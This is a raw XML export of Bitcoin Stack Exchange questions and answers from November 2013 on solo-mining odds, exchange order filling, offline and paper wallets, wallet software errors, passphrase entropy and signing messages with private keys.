  <row Id="16687" PostTypeId="1" AcceptedAnswerId="16690" CreationDate="2013-11-14T14:35:41.660" Score="30" ViewCount="145698" Body="&lt;p&gt;Just turned my attention to mining and the concepts are quite new to me. First of let me be clear: I realize that my hardware setup is far from ideal for mining. This is also the reason why I do not want to pool, I would simply provide a too small a share. I will be CPU mining at first, ASIC later on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would however like to test my luck. Mostly just for fun, I'm completely fine with the idea of never actually solving a block. I see it more as a lottery. I just want to confirm my idea so that I am not missing something: &lt;em&gt;Do I have a chance of solving a block?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a block is solved every 10 minutes, and the difficulty goes up continously. Do I even have the time to attempt a solution? I understand that the current work has to be abandoned when a block has been solved, rigth? Is there, for example, a lag here that yields my efforts useless? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the odds? Are the actually the % of my speed vs the network's?&lt;/p&gt;&#xA;" OwnerUserId="8770" LastEditorUserId="5406" LastEditDate="2016-02-15T17:55:31.000" LastActivityDate="2016-05-24T14:35:13.130" Title="Solo mining just for luck, realistic?" Tags="|solo-mining|mining-profitability|hashpower|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16688" PostTypeId="2" ParentId="16646" CreationDate="2013-11-14T14:45:53.280" Score="2" Body="&lt;p&gt;Electrum lets you manage offline wallets and still safely spend from an online computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't even need to use an insecure USB key, you can use webcams to make the computers talk to each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See these instructions for more information &lt;a href=&quot;http://electrum.org/tutorials.html#offline-mpk&quot; rel=&quot;nofollow&quot;&gt;http://electrum.org/tutorials.html#offline-mpk&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2467" LastEditorDisplayName="user6398" LastEditDate="2013-12-09T02:17:31.597" LastActivityDate="2013-12-09T02:17:31.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16689" PostTypeId="1" AcceptedAnswerId="16703" CreationDate="2013-11-14T14:57:02.963" Score="4" ViewCount="460" Body="&lt;p&gt;I might have misunderstood what is happening, but looking at the block sizes it seems that most mining pools are sticking to the 250 kb soft cap, with BTC Guild being the notable exception. There are many blocks that are just under 250 kb, so I assume that pools are excluding certain fee-paying transactions to stay below the limit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, why are they doing so? Is the marginal cost of including those extra transactions indeed greater than the fee being paid? If not, what is their reasoning for acting in a non-profit maximizing manner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole idea of Bitcoin is based on the assumption that participants behave rationally - i.e. profit maximizing. So what is going on here?&lt;/p&gt;&#xA;" OwnerUserId="2798" LastEditorUserId="5406" LastEditDate="2016-03-31T16:54:28.590" LastActivityDate="2016-03-31T16:54:28.590" Title="Why are mining pools not removing the 250 kb block size soft cap?" Tags="|mining-pools|transaction-fees|blocksize|block-propagation-time|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16690" PostTypeId="2" ParentId="16687" CreationDate="2013-11-14T16:17:27.953" Score="18" Body="&lt;p&gt;Check this page: &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty#How_soon_might_I_expect_to_generate_a_block.3F&quot;&gt;How soon might I expect to generate a block?&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with the current difficulty  &lt;code&gt;510,929,738&lt;/code&gt;, and a 1Ghash/s mining rig (faster than your CPU) you'd do this math:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;510929738 * Math.pow(2,32) / Math.pow(10,9) / 60 / 60 / 24 / 365&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to find a block at this difficulty with a 1Ghash mining rig it would take you about &lt;strong&gt;69 years&lt;/strong&gt; on average.&#xA;Good Luck!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: &lt;code&gt;Math.pow(2, 32)&lt;/code&gt; is simply the JavaScript version of &lt;code&gt;2^32&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2013-11-14T16:43:16.950" LastActivityDate="2013-11-14T16:43:16.950" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16694" PostTypeId="1" CreationDate="2013-11-14T18:06:34.787" Score="0" ViewCount="346" Body="&lt;p&gt;Does anyone else have this problem?  I have to restart that computer and mining rig about once a day.  More than half will err out over 12 hours.  They can't recover by themselves?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;O.S.: Ubuntu Server 12.04&#xA;mining program: bfgminer 3.3.0&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tmux&#xA;$sudo ~/bfgminer/bfgminer -o stratum+tcp://stratum.bitcoin.cz:3333 -u MYWORKER -p MYPASS -S all&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ctrl-B, ctrl-D&#xA;close terminal session&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing else is plugged into a USB port.  It's one of the simplest setups I can think to make.&#xA;Block erupters are less than a month old.  Block erupters have all the current they'd want at 5V (external power supply and their current demand doesn't get anywhere near the limit of the p.s.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll try to come back as soon as I can find any specific error messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I not keep the mining executable in my home directory?&lt;/p&gt;&#xA;" OwnerUserId="7171" LastEditorUserId="5406" LastEditDate="2016-04-28T14:39:46.990" LastActivityDate="2016-04-28T14:39:46.990" Title="Block Erupters Continue to err out" Tags="|miner-configuration|mining-setup|bfgminer|error|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16695" PostTypeId="1" AcceptedAnswerId="16696" CreationDate="2013-11-14T18:09:08.580" Score="0" ViewCount="762" Body="&lt;p&gt;If the order book looks like the following…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A)  Ask: 2 bitcoin at $100&#xA;&#xA;B)  Bid: 2 bitcoin at $100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A trade will be done from A to B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what happens in the following situation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C)  Ask: 1 bitcoin $100&#xA;&#xA;D)  Bid: 2 bitcoin $100 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Do bitcoin exchanges partially fill orders?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does one of the following occur:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Nothing the orders need to be the same quantity. &lt;/li&gt;&#xA;&lt;li&gt;Does the trade occur for one bitcoin.&lt;/li&gt;&#xA;&lt;li&gt;If the trade does occur, what happens if the bid is cancelled? Is the trade for 1 bitcoin still valid.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, what happens in this situation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E)  Ask:2 bitcoin $90&#xA;&#xA;F)  Bid: 2 bitcoin $100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Does the Bid pay $100 or $90?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You for your help&lt;/p&gt;&#xA;" OwnerUserId="8775" LastEditorUserId="3120" LastEditDate="2013-11-15T14:28:48.377" LastActivityDate="2013-11-15T14:28:48.377" Title="How do Bitcoin exchanges fill orders?" Tags="|exchanges|exchange-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16696" PostTypeId="2" ParentId="16695" CreationDate="2013-11-14T18:11:35.477" Score="2" Body="&lt;p&gt;Q1: Yes, orders will be partially filled. Some exchanges offer advanced orders that can only be completed wholly, but that's not the default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q2: The deciding price is the one that entered the book first. So if first a $90 ask is placed and then a $100 bid is placed, the trade will be executed at $90.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-11-14T18:11:35.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16697" PostTypeId="1" CreationDate="2013-11-14T19:02:28.547" Score="3" ViewCount="1250" Body="&lt;p&gt;I want to setup a totally offline armory wallet. is it possible to send btc to a totally offline pc? Is it also safe, I guess it must be synchronized with the whole network, right? And there is something else, armory gives a paper wallet with a long code, can I use this code with any other software, in case something happens to armory?&lt;/p&gt;&#xA;" OwnerUserId="8768" LastEditorUserId="4241" LastEditDate="2013-11-22T15:11:51.440" LastActivityDate="2013-11-22T15:11:51.440" Title="Can I send btc to a totally offline wallet?" Tags="|armory|coldstorage|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16698" PostTypeId="2" ParentId="16697" CreationDate="2013-11-14T19:31:29.357" Score="4" Body="&lt;p&gt;Yes to both questions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You only need a wallet connected to the internet to remove coins from your account, not to add new ones to it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A paper wallet can be used with any bitcoin wallet application.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-11-14T19:31:29.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16699" PostTypeId="1" CreationDate="2013-11-14T21:01:26.667" Score="2" ViewCount="1005" Body="&lt;p&gt;If you look at, e.g. &lt;a href=&quot;http://www.futureblock.com/options/btc_usd&quot; rel=&quot;nofollow&quot;&gt;the best offers at the 420 BTCUSD strike price&lt;/a&gt; (this was as-of 4:15 pm EST on November 14, 2013), or at the &lt;a href=&quot;http://www.futureblock.com/options/btc_usd/how-it-works&quot; rel=&quot;nofollow&quot;&gt;&quot;How It Works&quot;&lt;/a&gt; page for Future Block, it seems like there is a violation of the No Arbitrage Rule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, from the &quot;How It Works&quot; example. Suppose I sell one BTC's worth of &quot;up&quot; contract (I get 1 BTC) at 80% payout (I pay back 1.8 BTC if price is above strike at expiry). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, I sell one BTC's worth of &quot;down&quot; contract at the same strike price (I receive another 1 BTC), at 50% payout (I pay back 1.5 BTC if price is below strike at expiry). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the price is above the strike, the &quot;up&quot; contract clears and I received 2 BTC but pay back 1.8 BTC (netting a gain of 0.2 BTC for me). If the price is below, the &quot;down&quot; contract clears and I receive 2 BTC minus the 1.5 I pay back (netting a gain of 0.5 BTC for me).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, these example offers may not be close enough to the best offer to attract buyers, but apart from that I can't see any specifications for transaction costs to the seller, fees, etc. Even if there were fees, wouldn't they need to adjust according to the payout rates a seller could command selling on both sides of a strike price?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I am probably missing an obvious detail; any help correcting my mistake would be great!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Added&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, the puzzle here is that at about 4:15 yesterday, the best offer for up and down contracts roughly matched the example I give above, using numbers from the &quot;How It Works&quot; page to illustrate a Dutch book offer selling on both sides of the strike price. That this &lt;em&gt;can&lt;/em&gt; happen is not a mystery per se, but that the live best offers reflected that it was a viable live strategy even when there was resonable volume in the market is a puzzle. Either there was simply no volume at all on one side of the strike price (which should have immediately led to better offers on that side) or else there was actually not much participation and the volume data was incorrect / misleading, or both. (Assuming that early adopters of BTC options can't be &lt;em&gt;that&lt;/em&gt; irrational... after all, they'd have to know a lot about bitcoin and that particular options platform even to participate. So it seems implausible that buyers were so irrational as to be buying at such prices on both sides of a strike price).&lt;/p&gt;&#xA;" OwnerDisplayName="user8776" LastEditorDisplayName="user8776" LastEditDate="2013-11-15T15:00:03.263" LastActivityDate="2013-11-15T15:00:03.263" Title="FutureBlock offer and example seems to violate No Arbitrage Rule" Tags="|transactions|transaction-fees|buy-bitcoins|arbitrage|options|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16700" PostTypeId="2" ParentId="10036" CreationDate="2013-11-14T21:57:40.273" Score="1" Body="&lt;p&gt;This one is a good resource, and trusted &lt;a href=&quot;http://bitcoin.bitshare.cm&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.bitshare.cm&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="8778" LastActivityDate="2013-11-14T21:57:40.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16701" PostTypeId="1" CreationDate="2013-11-14T22:39:00.373" Score="1" ViewCount="635" Body="&lt;p&gt;I installed MultiBit a few weeks ago and today it's not loading anymore. It displays the following Error in the logs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;    The Blockchain &quot;C:\Users\USER\AppData\Roaming\MultiBit\multibit.spvchain&quot; could not be loaded. The Error was &quot;org.jboss.netty.channel.ChannelException Failed to create a selector.&quot;.&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tried deleting that file and then let multibit recreate it, but it doesn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="8779" LastEditorUserId="117" LastEditDate="2014-01-06T17:04:49.663" LastActivityDate="2016-06-30T13:59:19.240" Title="Multibit - Failed to create a Selector" Tags="|blockchain|client|multibit|thin-clients|error|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16702" PostTypeId="2" ParentId="16640" CreationDate="2013-11-14T23:06:49.447" Score="0" Body="&lt;p&gt;It's not really a bubble. If Bitcoin is to become a global currency in the future, it will need to replace quadrillions worth of dollars (and of other currencies). There are only going to be 21 million Bitcoins ever, so each Bitcoin will become very valuable.&lt;/p&gt;&#xA;" OwnerUserId="8780" LastEditorUserId="8780" LastEditDate="2013-11-15T21:29:57.120" LastActivityDate="2013-11-15T21:29:57.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16703" PostTypeId="2" ParentId="16689" CreationDate="2013-11-14T23:43:38.213" Score="2" Body="&lt;p&gt;Some pools may still use the 250 KB cap for faster block propagation and reduced chance of orphaned blocks. If one block is orphaned you probably have to mine for 10 years to recover that loss with the extra transaction fees from mining larger blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I think many pools use a max size above 250 KB. The reason most of the blocks are smaller, even when there are more transactions available, is that they set a max size for how many KB of free or minimum-fee transactions they will include. There aren't enough above-minimum-fee transactions to fill up the blocks.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-11-14T23:43:38.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16704" PostTypeId="1" CreationDate="2013-11-15T00:28:54.367" Score="1" ViewCount="737" Body="&lt;p&gt;Via &lt;a href=&quot;https://www.bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;https://www.bitaddress.org&lt;/a&gt; I saw you can get a paper wall but with encryption and a passphrase. What are the steps of using the wallet with the passphrase? It seems the address is on the left while the private key is on the right.  So I am guessing the private key is what's encrypted with the passphrase? How would you decrypt it with the passphrase? &lt;/p&gt;&#xA;" OwnerUserId="8784" LastEditorUserId="132" LastEditDate="2014-01-14T14:02:38.583" LastActivityDate="2014-01-14T14:02:38.583" Title="How do the blue encrypted bitcoin paper wallets work?" Tags="|wallet|encryption|paper-wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16706" PostTypeId="2" ParentId="16701" CreationDate="2013-11-15T09:08:55.537" Score="1" Body="&lt;p&gt;It sounds like there is a problem in the locally stored block store file.&#xA;You should be able to solve this by doing the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find where MultiBit is storing your user data - this is shown on the very first line in the 'Message' tab when you start up MultiBit. (It is also explained in the help in 'Troubleshooting'.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shut down MultiBit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to your MultiBit user data directory - worked out above - and delete the file multibit.spvchain&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start up MultiBit again&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MultiBit then syncs from a month or two ago and you should be running ok at that point.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-11-15T09:08:55.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16707" PostTypeId="2" ParentId="16699" CreationDate="2013-11-15T09:15:24.017" Score="2" Body="&lt;p&gt;It is a well-known observation that Bitcoin exchanges are not efficient (in the academic sense of well-approximating what you call the No Arbitrage Rule). The reason is simply that there are real world barriers that academics usually assume not to be present. If you do consider the risk associated with depositing funds at a Bitcoin exchange, there is an obvious reason why someone would demand a high return for taking such a risk. If you look e.g. at the difference in exchange rates between big exchanges (try Mtgox, Bitstamp, BTCE) you'll see that a difference as large as 10% can persist on the timescale of a year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The risks include having the exchange hacked and leaving it unable to return your deposit (have a look at Bitfloor) or having its bank accounts frozen during legal investigations and hence unable to return your deposits during the first 6 month or so (check bitcoin-24.com). And then there's the combination of it all with (presumably) enough reserves not to shut down the operation right away (e.g. mtgox). And that's not even considering the risk that the operator is dishonest and gets tempted to defraud customers...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top of all this, consider that even moving Bitcoins around is not instant. You run the additional risk that during the transfer time the situation changes (e.g. a crash in Bitcoin exchange rate). And the transfer time between bitcoin trading sites can be surprisingly long, since some legislation (e.g. anti money laundering) typically seems to compel them to insist on verifying your identity. This process may, depending on the site, occur in a somewhat surprising fashion, so you never know if they will instantly, or at least within the first days, allow you to continue accessing your bitcoins (or real money) that you gave them.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2013-11-15T09:21:31.037" LastActivityDate="2013-11-15T09:21:31.037" CommentCount="20" ContentLicense="CC BY-SA 3.0" />
  <row Id="16708" PostTypeId="2" ParentId="16685" CreationDate="2013-11-15T09:34:44.380" Score="3" Body="&lt;p&gt;It depends!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that almost all PCs are relatively unsafe. As Bitcoin use becomes more widespread and Bitcoins more valuable, we'll probably soon see more malware looking for it. Naturally, if you limit your internet usage, you are less exploitable. Yet only one such malware need to make it onto your computer, and then connecting even once to the net may be enough for your wallet to get stolen. Also be aware that what counts may not be that you think of yourself as having connected the computer to the network, but rather that indeed no potential malware (say a rootkit able to hide its network connections or something having infected your interfaces) can talk to anything outside your computer. Think unplugging your network cable and physically removing the wireless interface, rather than &quot;I clicked to disable it, and I think that might have done what I hope it does!&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I think the scenario you describe comes pretty close to what security you can achieve with reasonable effort. After all, even with a completely offline wallet you will have a similar risk exposure at the moment you decide to bring it back into a (connected) client to spend the Bitcoins in it---unless you are so diligent as to sign the transaction from an air-gapped PC not connected to the internet at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One problem I do see with your suggestion is that people are really good at tricking themselves. If I were to say &quot;I'll only connect this PC to the internet when I spend these Bitcoins,&quot; I wonder if I'd live up to this promise. I suppose for me, the only way to protect me from myself was to set up the PC to indeed never connect to the internet. You may, of course, have more discipline than I trust myself with consistently living up to.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2014-06-06T06:41:39.480" LastActivityDate="2014-06-06T06:41:39.480" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16709" PostTypeId="2" ParentId="16682" CreationDate="2013-11-15T10:09:36.943" Score="0" Body="&lt;p&gt;Have you looked at &lt;a href=&quot;https://blockchain.info/wallet/&quot; rel=&quot;nofollow&quot;&gt;Blockchain's Wallet&lt;/a&gt;?&#xA;I think it claims to operate in exactly the way you describe.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2013-11-15T10:09:36.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16710" PostTypeId="2" ParentId="16704" CreationDate="2013-11-15T10:23:54.900" Score="1" Body="&lt;p&gt;When the time has come to spent your coins, whatever wallet software you use to scan the private QR code, will have to ask you for the passphrase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give it a try with one and any wallet app on your smartphone. You don't need to put any bitcoins on it.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2013-11-15T10:23:54.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16714" PostTypeId="2" ParentId="6040" CreationDate="2013-11-15T11:52:37.030" Score="0" Body="&lt;p&gt;It seems that people need only about one bit of information per letter of English text. If you look for a scheme that will last your lifetime, you should assume that computers (and bitcoin pass phrase hackers) will become just as good. Then you may have as little as 4 to 6 bit information content per average word, maybe some more if you take care not to use meaningful phrases as your pass phrase. Put another way: I suspect that even 8 words (with maybe 32 to 48 bits of true information content) will be hackable with even today's computer once someone figures out how to teach them proper English. Pass phrase security is tricky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If you look for &quot;lifetime&quot; security, don't forget that major advances in computer science (general breaking of all assymmetric crypto?) or technology (quantum computers?) could render much of the underlying applications you wish to secure obsolete, including the ECC behind the current Bitcoin protocol.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Looking at your &lt;a href=&quot;http://world.std.com/~reinhold/diceware.html&quot; rel=&quot;nofollow&quot;&gt;diceware link&lt;/a&gt;, if you make a truly random choice of words from their list with nearly 7800 items, you obviously achieve an entropy per word given by the dual logaritm of 7800, which is 12.93 bits per word. Five such words would give you 64.6 bits of entropy and 8 such words amount to 103.4 bits of entropy. 64 bits are somewhat marginal for being called safe even just right now (depending on how much value you want to protect with it, maybe). The 103 bit value simply takes 550 billion times more effort to bruteforce...so to judge it to remain safe over a lifetime requires a stricter bound than that on the future cost of computation. Costs to bruteforce can be trivially improved by a factor in the millions by using a key-derivative function (e.g. scrypt), but that depends on the implementation, so if your question about passphrase safety is looking for general safety regardless of whether such additional passphrase hardening is used, this improvement cannot be assumed to happen.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2014-03-16T11:41:08.053" LastActivityDate="2014-03-16T11:41:08.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16715" PostTypeId="1" AcceptedAnswerId="16740" CreationDate="2013-11-15T12:38:11.243" Score="1" ViewCount="1690" Body="&lt;p&gt;If I were to purchase a motherboard with 7 pci-ex ports. Could I then attach 7 graphic cards and run 7 cgminer processes? One for each card?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or would a better build be to group cards together with SLI/Crossfire?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If one of these cards generally gives 1200mhash, would i be correct to assume that 7 would give me 8400? Or is there some overhead issue here I'm not aware of?&lt;/p&gt;&#xA;" OwnerUserId="8790" LastEditorUserId="5406" LastEditDate="2016-03-17T15:49:29.080" LastActivityDate="2016-03-17T15:49:29.080" Title="How to physically configure graphic card for higher yields?" Tags="|litecoin|miner-configuration|gpu-mining|mining-setup|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16717" PostTypeId="1" CreationDate="2013-11-15T13:54:38.193" Score="1" ViewCount="367" Body="&lt;p&gt;I saw that Coinbase's new wallet app has been &lt;a href=&quot;http://techcrunch.com/2013/11/15/apple-bumps-coinbases-bitcoin-app-from-the-app-store-android-app-lives-on/&quot; rel=&quot;nofollow&quot;&gt;pulled&lt;/a&gt; from the iOS app store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything about the Coinbase wallet app that was different from the &lt;a href=&quot;https://itunes.apple.com/us/app/blockchain/id493253309&quot; rel=&quot;nofollow&quot;&gt;blockchain.info wallet app&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2014-03-18T14:27:03.973" Title="Why is blockchain.info allowed to have an iOS app but coinbase is not?" Tags="|wallet|blockchain.info|coinbase.com|ios|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16718" PostTypeId="1" CreationDate="2013-11-15T13:57:05.737" Score="1" ViewCount="109" Body="&lt;p&gt;I have noticed that some people speak of &quot;coins&quot;.  As far as I can tell, by &quot;coin&quot; they mean a &lt;code&gt;transaction output&lt;/code&gt;.  Is this a correct understanding?  Is it helpful to use the word &quot;coin&quot;?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-11-15T17:04:44.280" Title="Is the word &quot;coin&quot; a proper bitcoin term?" Tags="|transactions|terminology|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16719" PostTypeId="1" CreationDate="2013-11-15T15:05:49.483" Score="1" ViewCount="615" Body="&lt;p&gt;I have set up an offline wallet on computer &quot;A&quot;. I set up a corresponding watching-only wallet on computer &quot;B&quot;. I have signed and broadcast several transactions. But now I wish to safely move the watching-only wallet to a different computer &quot;C&quot;. Then delete the watching-only from computer &quot;B&quot;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Should I import a digital/paper wallet backup of the watching-only wallet? Is this enough to ensure all existing adddresses and BTC are moved?&lt;/li&gt;&#xA;&lt;li&gt;Or should I copy the actual .wallet file manually? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Can this proces be repeated without issues?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8793" LastEditorUserId="5406" LastEditDate="2014-03-27T13:00:47.123" LastActivityDate="2014-05-26T13:47:42.720" Title="Moving armory watching-only .wallet file" Tags="|wallet|armory|watch-only|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16720" PostTypeId="1" CreationDate="2013-11-15T15:06:10.420" Score="7" ViewCount="6203" Body="&lt;p&gt;How does one create a proper signature for a given message using Bitcoin private keys?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an input address of&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5JeWZ1z6sRcLTJXdQEDdB986E6XfLAkj9CgNE4EHzr5GmjrVFpf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6d7f6815bd7927423a728db28c5f4ea4032a81ab8dbca06ec41476508de48a6d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to sign message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I convert it to hex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;74657374&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I feed it to a signing function of ECDSA library that uses secp256k1, and I get two outputs,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r = D16A44BF1095FB7D517C7C4DD6A51E3EFD29548C5CAD8CA4AB763946D02AE0E8 &#xA;s = 2AB3E674B788804B87CED50619A1EFA267E17D20C016D0779BC3203D40E8105D &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I marshal it with DER/asn1 as a list of Big Integers, I get a result of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MEUCIQDRakS/EJX7fVF8fE3WpR4+/SlUjFytjKSrdjlG0Crg6AIgKrPmdLeIgEuHztUGGaHvomfhfSDAFtB3m8MgPUDoEF0=&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I marshal them as a list of byte arrays, I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MEQEINFqRL8Qlft9UXx8TdalHj79KVSMXK2MpKt2OUbQKuDoBCAqs+Z0t4iAS4fO1QYZoe+iZ+F9IMAW0HebwyA9QOgQXQ==&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if I marshal them as one long byte array, I get 0WpEvxCV+31RfHxN1qUePv0pVIxcrYykq3Y5RtAq4Ogqs+Z0t4iAS4fO1QYZoe+iZ+F9IMAW0HebwyA9QOgQXQ==&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of them appear to work as signatures when I try to verify the message signature using tools like &lt;a href=&quot;http://brainwallet.org/#verify&quot; rel=&quot;noreferrer&quot;&gt;http://brainwallet.org/#verify&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I properly sign messages using Bitcoin private keys to be compatible with BitcoinQT?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2018-05-01T19:50:22.233" Title="How to sign a message using Bitcoin private key?" Tags="|bitcoind|signature|algorithms|standard|message-signing|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
